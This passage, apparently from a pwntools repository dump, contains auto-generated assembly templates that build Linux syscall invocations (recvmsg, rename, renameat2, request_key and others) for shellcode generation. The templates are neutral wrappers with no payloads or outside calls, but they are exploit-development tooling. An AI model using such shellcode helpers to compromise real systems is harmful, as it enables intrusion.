isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_recvmmsg_time64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_recvmmsg_time64'])\n%>\n    /* recvmmsg_time64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/recvmsg.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>recvmsg(fd, message, flags) -> str\n\nInvokes the syscall recvmsg.\n\nSee 'man 2 recvmsg' for more information.\n\nArguments:\n    fd(int): fd\n    message(msghdr*): message\n    flags(int): flags\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, message=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'message', 'flags']\n    argument_values = [fd, message, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_recvmsg']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_recvmsg'])\n%>\n    /* recvmsg(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/remap_file_pages.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>remap_file_pages(start, size, prot, pgoff, flags) -> str\n\nInvokes the syscall remap_file_pages.\n\nSee 'man 2 remap_file_pages' for more information.\n\nArguments:\n    start(void*): start\n    size(size_t): size\n    prot(int): prot\n    pgoff(size_t): pgoff\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"start=0, size=0, prot=0, pgoff=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['start']\n    can_pushstr_array = []\n\n    argument_names = ['start', 'size', 'prot', 'pgoff', 'flags']\n    argument_values = [start, size, prot, pgoff, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_remap_file_pages']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_remap_file_pages'])\n%>\n    /* remap_file_pages(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/removexattr.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>removexattr(path, name) -> str\n\nInvokes the syscall removexattr.\n\nSee 'man 2 removexattr' for more information.\n\nArguments:\n    path(char*): path\n    name(char*): name\nReturns:\n    int\n</%docstring>\n<%page args=\"path=0, name=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path', 'name']\n    can_pushstr_array = []\n\n    argument_names = ['path', 'name']\n    argument_values = [path, name]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_removexattr']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_removexattr'])\n%>\n    /* removexattr(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/rename.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>rename(old, new) -> str\n\nInvokes the syscall rename.\n\nSee 'man 2 rename' for more information.\n\nArguments:\n    old(char*): old\n    new(char*): new\nReturns:\n    int\n</%docstring>\n<%page args=\"old=0, new=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['old', 'new']\n    can_pushstr_array = []\n\n    argument_names = ['old', 'new']\n    argument_values = [old, new]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_rename']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_rename'])\n%>\n    /* rename(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/renameat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>renameat(oldfd, old, newfd, new) -> str\n\nInvokes the syscall renameat.\n\nSee 'man 2 renameat' for more information.\n\nArguments:\n    oldfd(int): oldfd\n    old(char*): old\n    newfd(int): newfd\n    new(char*): new\nReturns:\n    int\n</%docstring>\n<%page args=\"oldfd=0, old=0, newfd=0, new=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['old', 'new']\n    can_pushstr_array = []\n\n    argument_names = ['oldfd', 'old', 'newfd', 'new']\n    argument_values = [oldfd, old, newfd, new]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_renameat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_renameat'])\n%>\n    /* renameat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/renameat2.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>renameat2(olddirfd, oldpath, newdirfd, newpath, flags) -> str\n\nInvokes the syscall renameat2.\n\nSee 'man 2 renameat2' for more information.\n\nArguments:\n    olddirfd(int): olddirfd\n    oldpath(char*): oldpath\n    newdirfd(int): newdirfd\n    newpath(char*): newpath\n    flags(unsigned): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"olddirfd=0, oldpath=0, newdirfd=0, newpath=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['oldpath', 'newpath']\n    can_pushstr_array = []\n\n    argument_names = ['olddirfd', 'oldpath', 'newdirfd', 'newpath', 'flags']\n    argument_values = [olddirfd, oldpath, newdirfd, newpath, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_renameat2']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_renameat2'])\n%>\n    /* renameat2(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/request_key.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>request_key(type, description, callout_info, keyring) -> str\n\nInvokes the syscall request_key.\n\nSee 'man 2 request_key' for more information.\n\nArguments:\n    type(char*): type\n    description(char*): description\n    callout_info(char*): callout_info\n    keyring(key_serial_t): keyring\nReturns:\n    key_serial_t\n</%docstring>\n<%page args=\"type=0, description=0, callout_info=0, keyring=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['type', 'description', 'callout_info']\n    can_pushstr_array = []\n\n    argument_names = ['type', 'description', 'callout_info', 'keyring']\n    argument_values = [type, description, callout_info, keyring]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_request_key']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_request_key'])\n%>\n    /* request_key(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/reserved221.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>reserved221(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall reserved221.\n\nSee 'man 2 reserved221' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_reserved221']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_reserved221'])\n%>\n    /* reserved221(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/reserved82.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>reserved82(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall reserved82.\n\nSee 'man 2 reserved82' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and 